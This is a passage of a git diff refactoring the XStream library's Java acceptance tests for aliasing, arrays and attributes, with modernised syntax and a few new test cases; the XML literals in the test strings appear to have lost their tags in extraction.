com.thoughtworks.acceptance.someobjects.X; import com.thoughtworks.xstream.XStream; @@ -21,17 +26,14 @@ import com.thoughtworks.xstream.converters.extended.JavaClassConverter; import com.thoughtworks.xstream.converters.extended.JavaFieldConverter; import com.thoughtworks.xstream.converters.extended.JavaMethodConverter; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.core.util.Primitives; import com.thoughtworks.xstream.io.xml.XmlFriendlyNameCoder; -import com.thoughtworks.xstream.io.xml.XppDriver; import com.thoughtworks.xstream.mapper.ArrayMapper; import com.thoughtworks.xstream.mapper.CannotResolveClassException; import com.thoughtworks.xstream.mapper.Mapper; import com.thoughtworks.xstream.mapper.MapperWrapper; -import java.util.ArrayList; -import java.util.LinkedList; -import java.util.List; /** * @author Paul Hammant @@ -41,152 +43,164 @@ public class AliasTest extends AbstractAcceptanceTest { public void testBarfsIfItDoesNotExist() { - String xml = "" + - "\n" + - " \n" + - " 0\n" + - " \n" + - ""; + final String xml = "" // + + "\n" + + " \n" + + " 0\n" + + " \n" + + ""; // now change the alias xstream.alias("Xxxxxxxx", X.class); try { xstream.fromXML(xml); fail("ShouldCannotResolveClassException expected"); - } catch (CannotResolveClassException expectedException) { + } catch (final CannotResolveClassException expectedException) { // expected } } - + public void testWithUnderscore() { - xstream = new XStream(new XppDriver(new XmlFriendlyNameCoder("_-", "_"))); + xstream = new XStream(DefaultDriver.create(new XmlFriendlyNameCoder("_-", "_"))); setupSecurity(xstream); - String xml = "" + - "\n" + - " 0\n" + - ""; + final String xml = ""// + + "\n" + + " 0\n" + + ""; // now change the alias xstream.alias("X_alias", X.class); - X x = new X(0); + final X x = new X(0); assertBothWays(x, xml); } public static class HasUnderscore { - private String _attr = "foo"; + String _attr = "foo"; } - public void testWithPrefixedUnderscore(){ - HasUnderscore x = new HasUnderscore(); + public void testWithPrefixedUnderscore() { + final HasUnderscore x = new HasUnderscore(); xstream.alias("underscore", HasUnderscore.class); xstream.aliasField("attr", HasUnderscore.class, "_attr"); - String xml = "" + - "\n" + - " foo\n" + - ""; + final String xml = "" // + + "\n" + + " foo\n" + + ""; assertBothWays(x, xml); } - + public void testForFieldAsAttribute() { - Software software = new Software("walness", "xstream"); - + final Software software = new Software("walness", "xstream"); + xstream.alias("software", Software.class); xstream.useAttributeFor(String.class); xstream.aliasAttribute("id", "name"); - - String xml = ""; - + + final String xml = ""; + assertBothWays(software, xml); } - + + public void testOmitAliasesAttributeWithRealName() { + xstream.alias("software", Software.class); + xstream.useAttributeFor(String.class); + xstream.aliasAttribute("id", "name"); + xstream.aliasAttribute("name", "foo"); + xstream.omitField(Software.class, "foo"); + + final String xml = ""; + assertEquals(new Software("walness", null), xstream.fromXML(xml)); + assertEquals(new Software("walness", "xstream"), xstream.fromXML(xml.replace("name", "id"))); + } + public void testForReferenceSystemAttribute() { - List list = new ArrayList(); - Software software = new Software("walness", "xstream"); + final List list = new ArrayList<>(); + final Software software = new Software("walness", "xstream"); list.add(software); list.add(software); - + xstream.alias("software", Software.class); xstream.useAttributeFor(String.class); xstream.aliasAttribute("refid", "reference"); - - String xml = "" + - "\n" + - " \n" + - " \n" + - ""; - + + final String xml = "" + + "\n" + + " \n" + + " \n" + + ""; + assertBothWays(list, xml); } - + public void testForSystemAttributes() { - List list = new LinkedList(); - Category category = new Category("walness", "xstream"); + final List> list = new LinkedList<>(); + final Category> category = new Category<>("walness", "xstream"); category.setProducts(list); list.add(category); - + xstream.alias("category", Category.class); xstream.useAttributeFor(Category.class, "id"); xstream.aliasAttribute("class", "id"); xstream.aliasSystemAttribute("type", "class"); xstream.aliasSystemAttribute("refid", "reference"); - - String xml = "" + - "\n" + - " walness\n" + - " \n" + - " \n" + - " \n" + - ""; - + + final String xml = "" + + "\n" + + " walness\n" + + " \n" + + " \n" + + " \n" + + ""; + assertBothWays(category, xml); } - + public void testIdentityForFields() { - Software software = new Software("walness", "xstream"); + final Software software = new Software("walness", "xstream"); xstream.alias("software", Software.class); xstream.aliasField("name", Software.class, "name"); xstream.aliasField("vendor", Software.class, "vendor"); - - String xml = "" + + final String xml = "" + "\n" + " walness\n" - + " xstream\n" + + " xstream\n" + ""; - + assertBothWays(software, xml); } - - private static class FieldsWithInternalNames { + + static class FieldsWithInternalNames { String clazz; String ref; } public void testCanUseInternalNameAsFieldAlias() { - FieldsWithInternalNames object = new FieldsWithInternalNames(); + final FieldsWithInternalNames object = new FieldsWithInternalNames(); object.clazz = "TestIt"; object.ref = "MyReference"; xstream.alias("internalNames", FieldsWithInternalNames.class); xstream.aliasField("class", FieldsWithInternalNames.class, "clazz"); xstream.aliasField("reference", FieldsWithInternalNames.class, "ref"); - - String xml = "" - + "\n" - + " TestIt\n" - + " MyReference\n" - + ""; + + final String xml = "" + + "\n" + + " TestIt\n" + + " MyReference\n" + + ""; assertBothWays(object, xml); } - + public void testCanAliasPrimitiveTypes() { - Object object = new boolean[]{true, false}; + final Object object = new boolean[]{true, false}; xstream.alias("bo", Boolean.TYPE); - String xml = "" + final String xml = "" // + "\n" + " true\n" + " false\n" @@ -195,9 +209,9 @@ public void testCanAliasPrimitiveTypes() { } public void testCanAliasArray() { - Object object = new boolean[]{true, false}; + final Object object = new boolean[]{true, false}; xstream.alias("boa", boolean[].class); - String xml = "" + final String xml = ""// + "\n" + " true\n" + " false\n" @@ -206,9 +220,9 @@ public void testCanAliasArray() { } public void testCanAliasArrayInMultiDimension() { - Object object = new boolean[][]{{true, false}}; + final Object object = new boolean[][]{{true, false}}; xstream.alias("boa", boolean[].class); - String xml = "" + final String xml = "" + "\n" + " \n" + " true\n" @@ -219,15 +233,15 @@ public void testCanAliasArrayInMultiDimension() { } public static class TypeA { - private String attrA = "testA"; + final String attrA = "testA"; } public static class TypeB extends TypeA { - private String attrB = "testB"; + final String attrB = "testB"; } public static class TypeC extends TypeB { - private String attrC = "testC"; + final String attrC = "testC"; } public void testCanAliasInheritedFields() { @@ -235,8 +249,8 @@ public void testCanAliasInheritedFields() { xstream.aliasField("a", TypeA.class, "attrA"); xstream.aliasField("b", TypeB.class, "attrB"); xstream.aliasField("c", TypeC.class, "attrC"); - TypeC object = new TypeC(); - String xml = "" + final TypeC object = new TypeC(); + final String xml = "" // + "\n" + " testA\n" + " testB\n" @@ -252,15 +266,15 @@ public void testCanDeserializeAliasedInheritedFieldsToSameName() { xstream.aliasField("attr", TypeA.class, "attrA"); xstream.aliasField("attr", TypeB.class, "attrB"); xstream.aliasField("attr", TypeC.class, "attrC"); - TypeC object = new TypeC(); - String xml = "" + final TypeC object = new TypeC(); + final String xml = "" + "\n" + " testA\n" + " testB\n" + " testC\n" + ""; assertObjectsEqual(object, xstream.fromXML(xml)); - //assertBothWays(object, xml); + // assertBothWays(object, xml); } public void testCanOverwriteInheritedAlias() { @@ -269,82 +283,77 @@ public void testCanOverwriteInheritedAlias() { xstream.aliasField("b", TypeB.class, "attrB"); xstream.aliasField("c", TypeC.class, "attrC"); xstream.aliasField("y", TypeC.class, "attrA"); - TypeC object = new TypeC(); - String xml = "" - + "\n" - + " testA\n" - + " testB\n" - + " testC\n" - + ""; + final TypeC object = new TypeC(); + final String xml = "" + "\n" + " testA\n" + " testB\n" + " testC\n" + ""; assertBothWays(object, xml); } public void testCanAliasArrayElements() { - Object[] software = new Object[]{new Software("walness", "xstream")}; + final Object[] software = new Object[]{new Software("walness", "xstream")}; xstream.alias("software", Software.class); xstream.aliasField("Name", Software.class, "name"); xstream.aliasField("Vendor", Software.class, "vendor"); - - String xml = "" // + + final String xml = "" + "\n" + " \n" + " walness\n" - + " xstream\n" + + " xstream\n" + " \n" + ""; - + assertBothWays(software, xml); } - + public void testCanAliasCompletePackage() { - Software software = new Software("walness", "xstream"); + final Software software = new Software("walness", "xstream"); xstream.aliasPackage("org.codehaus", "com.thoughtworks.acceptance.objects"); - - String xml = "" // + + final String xml = "" + "\n" + " walness\n" - + " xstream\n" + + " xstream\n" + ""; - + assertBothWays(software, xml); } - + public void testCanAliasSubPackage() { - Software software = new Software("walness", "xstream"); + final Software software = new Software("walness", "xstream"); xstream.aliasPackage("org.codehaus", "com.thoughtworks"); - - String xml = "" // + + final String xml = "" + "\n" + " walness\n" - + " xstream\n" + + " xstream\n" + ""; - + assertBothWays(software, xml); } - + public void testToDefaultPackage() { - Software software = new Software("walness", "xstream"); + final Software software = new Software("walness", "xstream"); xstream.aliasPackage("", "com.thoughtworks.acceptance.objects"); - - String xml = "" // + + final String xml = "" + "\n" + " walness\n" - + " xstream\n" + + " xstream\n" + ""; - + assertBothWays(software, xml); } - + public void testForLongerPackageNameTakesPrecedence() { - WithList withList = new WithList(); + final WithList withList = new WithList<>(); withList.things.add(new Software("walness", "xstream")); withList.things.add(new TypeA()); xstream.aliasPackage("model", "com.thoughtworks.acceptance.objects"); xstream.aliasPackage("org.codehaus", "com.thoughtworks"); xstream.aliasPackage("model.foo", "com.thoughtworks.acceptance.someobjects"); - - String xml = "" // + + final String xml = "" + "\n" + " \n" + " \n" @@ -359,15 +368,15 @@ public void testForLongerPackageNameTakesPrecedence() { assertBothWays(withList, xml); } - + public void testClassTakesPrecedenceOfPackage() { - WithList withList = new WithList(); + final WithList withList = new WithList<>(); withList.things.add(new Software("walness", "xstream")); xstream.alias("MySoftware", Software.class); xstream.aliasPackage("org.codehaus", "com.thoughtworks"); xstream.aliasPackage("model.foo", "com.thoughtworks.acceptance.someobjects"); - - String xml = "" // + + final String xml = "" + "\n" + " \n" + " \n" @@ -379,35 +388,38 @@ public void testClassTakesPrecedenceOfPackage() { assertBothWays(withList, xml); } - - private void takingDoubles(Double d1, double d2) {} - + + @SuppressWarnings("unused") + private void takingDoubles(final Double d1, final double d2) { + } + public void testCanCreateAliasingJavaTypeConverter() throws NoSuchFieldException, NoSuchMethodException { - Mapper mapper = new MapperWrapper(xstream.getMapper().lookupMapperOfType(ArrayMapper.class)) { - public Class realClass(String elementName) { - Class primitiveType = Primitives.primitiveType(elementName); + final Mapper mapper = new MapperWrapper(xstream.getMapper().lookupMapperOfType(ArrayMapper.class)) { + @Override + public Class realClass(final String elementName) { + final Class primitiveType = Primitives.primitiveType(elementName); return primitiveType != null ? primitiveType : super.realClass(elementName); } }; - SingleValueConverter javaClassConverter = new JavaClassConverter(mapper) {}; + final SingleValueConverter javaClassConverter = new JavaClassConverter(mapper) {}; xstream.registerConverter(javaClassConverter); - xstream.registerConverter(new JavaMethodConverter(javaClassConverter){}); - xstream.registerConverter(new JavaFieldConverter(javaClassConverter, mapper){}); + xstream.registerConverter(new JavaMethodConverter(javaClassConverter) {}); + xstream.registerConverter(new JavaFieldConverter(javaClassConverter, mapper) {}); xstream.alias("A", TypeA.class); xstream.alias("Prod", Product.class); xstream.aliasField("a", TypeA.class, "attrA"); xstream.alias("Test", getClass()); - - List list = new ArrayList(); + + final List list = new ArrayList<>(); list.add(TypeA.class); list.add(int[][][].class); list.add(Integer[][][].class); list.add(TypeA.class.getDeclaredField("attrA")); - list.add(Product.class.getConstructor(new Class[]{String.class, String.class, double.class})); - list.add(getClass().getDeclaredMethod("takingDoubles", new Class[]{Double.class, double.class})); + list.add(Product.class.getConstructor(String.class, String.class, double.class)); + list.add(getClass().getDeclaredMethod("takingDoubles", Double.class, double.class)); list.add(ArrayList.class); - - String xml = "" // + + final String xml = "" + "\n" + " A\n" + " int-array-array-array\n" @@ -437,4 +449,52 @@ public Class realClass(String elementName) { assertBothWays(list, xml); } + + public static class Protocols { + static class HTTP extends Protocol { + public HTTP() { + super("http"); + } + } + + static class TCP extends Protocol { + public TCP() { + super("tcp"); + } + } + + static class UDP extends Protocol { + public UDP() { + super("udp"); + } + } + + Object http; + TCP tcp; + Protocol udp; + } + + public void testErasesSystemAttribute() { + xstream.alias("protocols", Protocols.class); + xstream.aliasSystemAttribute(null, "class"); + + final Protocols exceptions = new Protocols(); + exceptions.http = new Protocols.HTTP(); + exceptions.tcp = new Protocols.TCP(); + exceptions.udp = new Protocols.UDP(); + + final String expected = "" + + "\n" + + " \n" + + " http\n" + + " \n" + + " \n" + + " tcp\n" + + " \n" + + " \n" + + " udp\n" + + " \n" + + ""; + assertEquals(expected, xstream.toXML(exceptions)); + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ArraysTest.java b/xstream/src/test/com/thoughtworks/acceptance/ArraysTest.java index 1ceecb8b9..c15b1d76a 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ArraysTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ArraysTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,17 +13,18 @@ import com.thoughtworks.acceptance.objects.StandardObject; + public class ArraysTest extends AbstractAcceptanceTest { public void testStringArray() { String[] array = new String[]{"a", "b", "c"}; - String expected = "" + - "\n" + - " a\n" + - " b\n" + - " c\n" + - ""; + String expected = "" // + + "\n" + + " a\n" + + " b\n" + + " c\n" + + ""; assertBothWays(array, expected); } @@ -31,11 +32,11 @@ public void testStringArray() { public void testPrimitiveArray() { int[] array = new int[]{1, 2}; - String expected = "" + - "\n" + - " 1\n" + - " 2\n" + - ""; + String expected = "" // + + "\n" + + " 1\n" + + " 2\n" + + ""; assertBothWays(array, expected); } @@ -43,16 +44,17 @@ public void testPrimitiveArray() { public void testBoxedTypeArray() { Integer[] array = new Integer[]{new Integer(1), new Integer(2)}; - String expected = "" + - "\n" + - " 1\n" + - " 2\n" + - ""; + String expected = "" // + + "\n" + + " 1\n" + + " 2\n" + + ""; assertBothWays(array, expected); } public static class X extends StandardObject { + private static final long serialVersionUID = 200310L; String s = "hi"; } @@ -60,15 +62,15 @@ public void testCustomObjectArray() { X[] array = new X[]{new X(), new X()}; - String expected = "" + - "\n" + - " \n" + - " hi\n" + - " \n" + - " \n" + - " hi\n" + - " \n" + - ""; + String expected = "" + + "\n" + + " \n" + + " hi\n" + + " \n" + + " \n" + + " hi\n" + + " \n" + + ""; assertBothWays(array, expected); } @@ -77,11 +79,11 @@ public void testArrayOfMixedTypes() { Object[] array = new Number[]{new Long(2), new Integer(3)}; - String expected = "" + - "\n" + - " 2\n" + - " 3\n" + - ""; + String expected = "" // + + "\n" + + " 2\n" + + " 3\n" + + ""; assertBothWays(array, expected); @@ -101,13 +103,13 @@ public void testUninitializedArray() { array[0] = "zero"; array[2] = "two"; - String expected = "" + - "\n" + - " zero\n" + - " \n" + - " two\n" + - " \n" + - ""; + String expected = "" // + + "\n" + + " zero\n" + + " \n" + + " two\n" + + " \n" + + ""; assertBothWays(array, expected); @@ -117,13 +119,13 @@ public void testArrayInCustomObject() { ObjWithArray objWithArray = new ObjWithArray(); objWithArray.strings = new String[]{"hi", "bye"}; xstream.alias("owa", ObjWithArray.class); - String expected = "" + - "\n" + - " \n" + - " hi\n" + - " bye\n" + - " \n" + - ""; + String expected = "" // + + "\n" + + " \n" + + " hi\n" + + " bye\n" + + " \n" + + ""; assertBothWays(objWithArray, expected); } @@ -135,22 +137,23 @@ public void testNullArrayInCustomObject() { } public static class ObjWithArray extends StandardObject { + private static final long serialVersionUID = 200310L; String[] strings; } public void testDeserializingObjectWhichContainsAPrimitiveLongArray() { - String xml = - "" + - " " + - " 0" + - " 1" + - " 2" + - " " + - ""; + String xml = "" // + + "" + + " " + + " 0" + + " 1" + + " 2" + + " " + + ""; xstream.alias("owla", ObjectWithLongArray.class); - ObjectWithLongArray o = (ObjectWithLongArray) xstream.fromXML(xml); + ObjectWithLongArray o = xstream.fromXML(xml); assertEquals(o.bits[0], 0); assertEquals(o.bits[1], 1); @@ -172,27 +175,27 @@ public void testMultidimensionalArray() { array[2][1] = 66; array[2][2] = 99; - String expectedXml = "" + - "\n" + - " \n" + - " 2\n" + - " 4\n" + - " \n" + - " \n" + - " 8\n" + - " 16\n" + - " \n" + - " \n" + - " 33\n" + - " 66\n" + - " 99\n" + - " \n" + - ""; + String expectedXml = "" + + "\n" + + " \n" + + " 2\n" + + " 4\n" + + " \n" + + " \n" + + " 8\n" + + " 16\n" + + " \n" + + " \n" + + " 33\n" + + " 66\n" + + " 99\n" + + " \n" + + ""; String actualXml = xstream.toXML(array); assertEquals(expectedXml, actualXml); - int[][] result = (int[][]) xstream.fromXML(actualXml); + int[][] result = xstream.fromXML(actualXml); assertEquals(2, result[0][0]); assertEquals(4, result[0][1]); assertEquals(8, result[1][0]); @@ -204,11 +207,9 @@ public void testMultidimensionalArray() { assertEquals(3, result[2].length); } - public static class Thing { - } + public static class Thing {} - public static class SpecialThing extends Thing { - } + public static class SpecialThing extends Thing {} public void testMultidimensionalArrayOfMixedTypes() { xstream.alias("thing", Thing.class); @@ -220,22 +221,22 @@ public void testMultidimensionalArrayOfMixedTypes() { array[1] = new Thing[2]; array[1][0] = new Thing(); array[1][1] = new SpecialThing(); - String expectedXml = "" + - "\n" + - " \n" + - " \n" + - " a string\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " a string\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; String actualXml = xstream.toXML(array); assertEquals(expectedXml, actualXml); - Object[][] result = (Object[][]) xstream.fromXML(actualXml); + Object[][] result = xstream.fromXML(actualXml); assertEquals(Object.class, result[0][0].getClass()); assertEquals("a string", result[0][1]); assertEquals(Thing.class, result[1][0].getClass()); @@ -243,6 +244,7 @@ public void testMultidimensionalArrayOfMixedTypes() { } public static class NoOneLikesMe extends StandardObject { + private static final long serialVersionUID = 200502L; private int name; public NoOneLikesMe(int name) { @@ -251,15 +253,15 @@ public NoOneLikesMe(int name) { } public void testHandlesArrayClassesThatHaveNotYetBeenLoaded() { - // Catch weirdness in classloader. + // Catch weirdness in classloader. // Resolved by using Class.forName(x, false, classLoader), instead of classLoader.loadClass(x); String xml = "" - + "\n" - + " \n" - + " 99\n" - + " \n" - + ""; - NoOneLikesMe[] result = (NoOneLikesMe[]) xstream.fromXML(xml); + + "\n" + + " \n" + + " 99\n" + + " \n" + + ""; + NoOneLikesMe[] result = xstream.fromXML(xml); assertEquals(1, result.length); assertEquals(99, result[0].name); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/AttributeTest.java b/xstream/src/test/com/thoughtworks/acceptance/AttributeTest.java index e6aca00c0..263bd197f 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AttributeTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AttributeTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 20. February 2006 by Mauro Talevi */ package com.thoughtworks.acceptance; @@ -19,6 +19,7 @@ import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; import com.thoughtworks.xstream.testutil.TimeZoneChanger; + /** * @author Paul Hammant * @author Ian Cartwright @@ -28,11 +29,13 @@ */ public class AttributeTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); TimeZoneChanger.change("GMT"); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); @@ -42,7 +45,8 @@ public static class One implements HasID { public ID id; public Two two; - public void setID(ID id) { + @Override + public void setID(final ID id) { this.id = id; } } @@ -56,13 +60,14 @@ public static class Two {} public static class Three { public Date date; } - + public static class Four extends One { + @SuppressWarnings("hiding") public ID id; } public static class ID { - public ID(String value) { + public ID(final String value) { this.value = value; } @@ -70,75 +75,72 @@ public ID(String value) { } private static class MyIDConverter extends AbstractSingleValueConverter { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(ID.class); } - public String toString(Object obj) { - return obj == null ? null : ((ID) obj).value; + @Override + public String toString(final Object obj) { + return obj == null ? null : ((ID)obj).value; } - public Object fromString(String str) { + @Override + public Object fromString(final String str) { return new ID(str); } } - - static class C - { - private Date dt; - private String str; - private int i; - - C() { - // for JDK 1.3 - } - C(Date dt, String st, int i) - { + static class C { + Date dt; + String str; + int i; + + C(final Date dt, final String st, final int i) { this.dt = dt; - this.str = st; + str = st; this.i = i; } } public void testAllowsAttributeWithCustomConverterAndFieldName() { - One one = new One(); + final One one = new One(); one.two = new Two(); - one.id = new ID("hullo"); + one.id = new ID("hullo"); xstream.alias("one", One.class); xstream.useAttributeFor("id", ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(one, expected); } public void testDoesNotAllowAttributeWithCustomConverterAndDifferentFieldName() { - One one = new One(); + final One one = new One(); one.two = new Two(); - one.id = new ID("hullo"); + one.id = new ID("hullo"); xstream.alias("one", One.class); xstream.useAttributeFor("foo", ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " hullo\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " hullo\n" + + " \n" + + ""; assertBothWays(one, expected); } - // TODO: Currently not possible, see comment in AbstractReflectionProvider.doUnmarshal + // TODO: Currently not possible, see comment in AbstractReflectionProvider.doUnmarshal public void todoTestHidingMemberCanBeWrittenIfAliasDiffers() { - Four four = new Four(); + final Four four = new Four(); four.two = new Two(); - four.id = new ID("4"); + four.id = new ID("4"); four.setID(new ID("1")); xstream.alias("four", Four.class); @@ -146,185 +148,174 @@ public void todoTestHidingMemberCanBeWrittenIfAliasDiffers() { xstream.useAttributeFor(ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(four, expected); } public void testAllowsAttributeWithKnownConverterAndFieldName() throws Exception { - Three three = new Three(); - DateFormat format = new SimpleDateFormat("dd/MM/yyyy"); + final Three three = new Three(); + final DateFormat format = new SimpleDateFormat("dd/MM/yyyy"); three.date = format.parse("19/02/2006"); xstream.alias("three", Three.class); xstream.useAttributeFor("date", Date.class); - - String expected = - ""; + + final String expected = ""; assertBothWays(three, expected); } public void testAllowsAttributeWithArbitraryFieldType() { - One one = new One(); + final One one = new One(); one.two = new Two(); - one.id = new ID("hullo"); + one.id = new ID("hullo"); xstream.alias("one", One.class); xstream.useAttributeFor(ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(one, expected); } public void testDoesNotAllowAttributeWithNullAttribute() { - One one = new One(); + final One one = new One(); one.two = new Two(); xstream.alias("one", One.class); xstream.useAttributeFor(ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(one, expected); - } - + } + public void testAllowsAttributeToBeAliased() { - One one = new One(); + final One one = new One(); one.two = new Two(); - one.id = new ID("hullo"); + one.id = new ID("hullo"); xstream.alias("one", One.class); xstream.aliasAttribute("id-alias", "id"); - xstream.useAttributeFor("id", ID.class); + xstream.useAttributeFor("id", ID.class); xstream.registerConverter(new MyIDConverter()); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(one, expected); } - + public void testCanHandleNullValues() { - C c = new C(null, null, 0); + final C c = new C(null, null, 0); xstream.alias("C", C.class); xstream.useAttributeFor(Date.class); xstream.useAttributeFor(String.class); - String expected = - "\n" + - " 0\n" + - ""; + final String expected = ""// + + "\n" + + " 0\n" + + ""; assertBothWays(c, expected); } - + public void testCanHandlePrimitiveValues() { - C c = new C(null, null, 0); + final C c = new C(null, null, 0); xstream.alias("C", C.class); xstream.useAttributeFor(Date.class); xstream.useAttributeFor(String.class); xstream.useAttributeFor(int.class); - String expected =""; + final String expected = ""; assertBothWays(c, expected); } static class Name { - private String name; - Name() { - // for JDK 1.3 - } - Name(String name) { + String name; + + Name(final String name) { this.name = name; } } - + static class Camera { - private String name; + String name; protected Name n; - Camera() { - // for JDK 1.3 - } - - Camera(String name) { + Camera(final String name) { this.name = name; } } - + public void testAllowsAnAttributeForASpecificField() { - xstream.alias("camera", Camera.class); - xstream.useAttributeFor(Camera.class, "name"); - Camera camera = new Camera("Rebel 350"); + xstream.alias("camera", Camera.class); + xstream.useAttributeFor(Camera.class, "name"); + final Camera camera = new Camera("Rebel 350"); camera.n = new Name("foo"); - String expected = "" + - "\n" + - " \n" + - " foo\n" + - " \n" + - ""; - assertBothWays(camera, expected); + final String expected = "" + + "\n" + + " \n" + + " foo\n" + + " \n" + + ""; + assertBothWays(camera, expected); } public void testAllowsAnAttributeForASpecificAliasedField() { - xstream.alias("camera", Camera.class); - xstream.aliasAttribute(Camera.class, "name", "model"); - Camera camera = new Camera("Rebel 350"); + xstream.alias("camera", Camera.class); + xstream.aliasAttribute(Camera.class, "name", "model"); + final Camera camera = new Camera("Rebel 350"); camera.n = new Name("foo"); - String expected = "" + - "\n" + - " \n" + - " foo\n" + - " \n" + - ""; - assertBothWays(camera, expected); + final String expected = "" + + "\n" + + " \n" + + " foo\n" + + " \n" + + ""; + assertBothWays(camera, expected); } - + static class PersonalizedCamera extends Camera { - private String owner; + String owner; - PersonalizedCamera() { - // for JDK 1.3 - } - - PersonalizedCamera(String name, String owner) { + PersonalizedCamera(final String name, final String owner) { super(name); this.owner = owner; } } - + public void testAllowsAnAttributeForASpecificFieldInASuperClass() { xstream.alias("camera", PersonalizedCamera.class); xstream.useAttributeFor(Camera.class, "name"); - PersonalizedCamera camera = new PersonalizedCamera("Rebel 350", "Guilherme"); + final PersonalizedCamera camera = new PersonalizedCamera("Rebel 350", "Guilherme"); camera.n = new Name("foo"); - String expected = "" + - "\n" + - " \n" + - " foo\n" + - " \n" + - " Guilherme\n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " foo\n" + + " \n" + + " Guilherme\n" + + ""; assertBothWays(camera, expected); } - + public void testAllowsAnAttributeForAFieldOfASpecialTypeAlsoInASuperClass() { xstream.alias("camera", PersonalizedCamera.class); xstream.useAttributeFor("name", String.class); - PersonalizedCamera camera = new PersonalizedCamera("Rebel 350", "Guilherme"); + final PersonalizedCamera camera = new PersonalizedCamera("Rebel 350", "Guilherme"); camera.n = new Name("foo"); - String expected = "" + - "\n" + - " \n" + - " Guilherme\n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Guilherme\n" + + ""; assertBothWays(camera, expected); } @@ -332,49 +323,54 @@ public static class TransientIdField { transient String id; String name; - public TransientIdField() { - // for JDK 1.3 - } - - public TransientIdField(String id, String name) { + public TransientIdField(final String id, final String name) { this.id = id; this.name = name; } - public boolean equals(Object obj) { + @Override + public boolean equals(final Object obj) { return name.equals(((TransientIdField)obj).name); } + + @Override + public int hashCode() { + return name.hashCode(); + } } public void testAttributeNamedLikeTransientFieldDoesNotAbortDeserializationOfFollowingFields() { xstream.setMode(XStream.ID_REFERENCES); xstream.alias("transient", TransientIdField.class); - TransientIdField field = new TransientIdField("foo", "test"); - String xml = "" // - + "\n" // - + " test\n" // + final TransientIdField field = new TransientIdField("foo", "test"); + final String xml = "" // + + "\n" // + + " test\n" // + ""; assertBothWays(field, xml); } - + static class Person { String _name; int _age; - Person() {} // JDK 1.3 - Person(String name, int age) { - this._name = name; - this._age = age; + + Person() { + } // JDK 1.3 + + Person(final String name, final int age) { + _name = name; + _age = age; } }; - + public void testAttributeMayHaveXmlUnfriendlyName() { xstream.alias("person", Person.class); xstream.useAttributeFor(Person.class, "_name"); xstream.useAttributeFor(Person.class, "_age"); - Person person = new Person("joe", 25); - String xml = ""; + final Person person = new Person("joe", 25); + final String xml = ""; assertBothWays(person, xml); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/Basic15TypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/Basic15TypesTest.java deleted file mode 100644 index f1a597ba0..000000000 --- a/xstream/src/test/com/thoughtworks/acceptance/Basic15TypesTest.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright (C) 2008 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 04. January 2008 by Joerg Schaible - */ -package com.thoughtworks.acceptance; - -import java.util.UUID; - -public class Basic15TypesTest extends AbstractAcceptanceTest { - - public void testUUID() { - UUID uuid = UUID.randomUUID(); - assertBothWays(uuid, "" + uuid + ""); - } - - public void testStringBuilder() { - StringBuilder builder = new StringBuilder(); - builder.append("woo"); - String xml = xstream.toXML(builder); - assertEquals(xml, "woo"); - StringBuilder out = (StringBuilder) xstream.fromXML(xml); - assertEquals("woo", out.toString()); - } -} diff --git a/xstream/src/test/com/thoughtworks/acceptance/BasicTypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/BasicTypesTest.java index 6d57bf5cf..d8e535c28 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/BasicTypesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/BasicTypesTest.java @@ -1,67 +1,64 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2013 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2013, 2018, 2019, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 26. September 2003 by Joe Walnes + * + * Created on 26. September 2003 by Joe Walnes, merged with Basic15TypesTest */ package com.thoughtworks.acceptance; import java.math.BigDecimal; import java.math.BigInteger; 